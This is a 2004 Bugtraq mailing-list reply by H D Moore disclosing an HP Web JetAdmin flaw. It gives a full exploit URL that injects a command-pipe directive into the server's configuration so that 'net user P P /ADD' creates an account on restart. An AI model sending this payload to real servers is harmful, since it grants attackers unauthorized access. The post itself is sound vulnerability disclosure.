[34235] in bugtraq
Re: HP Web JetAdmin vulnerabilities.
daemon@ATHENA.MIT.EDU (H D Moore)
Wed Mar 24 21:02:24 2004
From: H D Moore <sflist@digitaloffense.net>
To: bugtraq@securityfocus.com
Date: Wed, 24 Mar 2004 15:38:38 -0600
In-Reply-To: <web-30231838@gator.darkhorse.com>
MIME-Version: 1.0
Content-Disposition: inline
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <200403241538.38463@M3T4>
On Wednesday 24 March 2004 13:59, wirepair wrote:
> Product: HP Web JetAdmin Version 7.5.2546
> Although I did not test, it may be possible to directly inject the hts
> scripting directly into the application using a tool like WebSleuth.
The following HTTP request would result in a user account being
created once the server is restarted. Wirepair and I found this
vulnerability independently, I tried to contact the vendor in mid-January
and received no response, apparently he was more persistent :)
https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD")
-HD
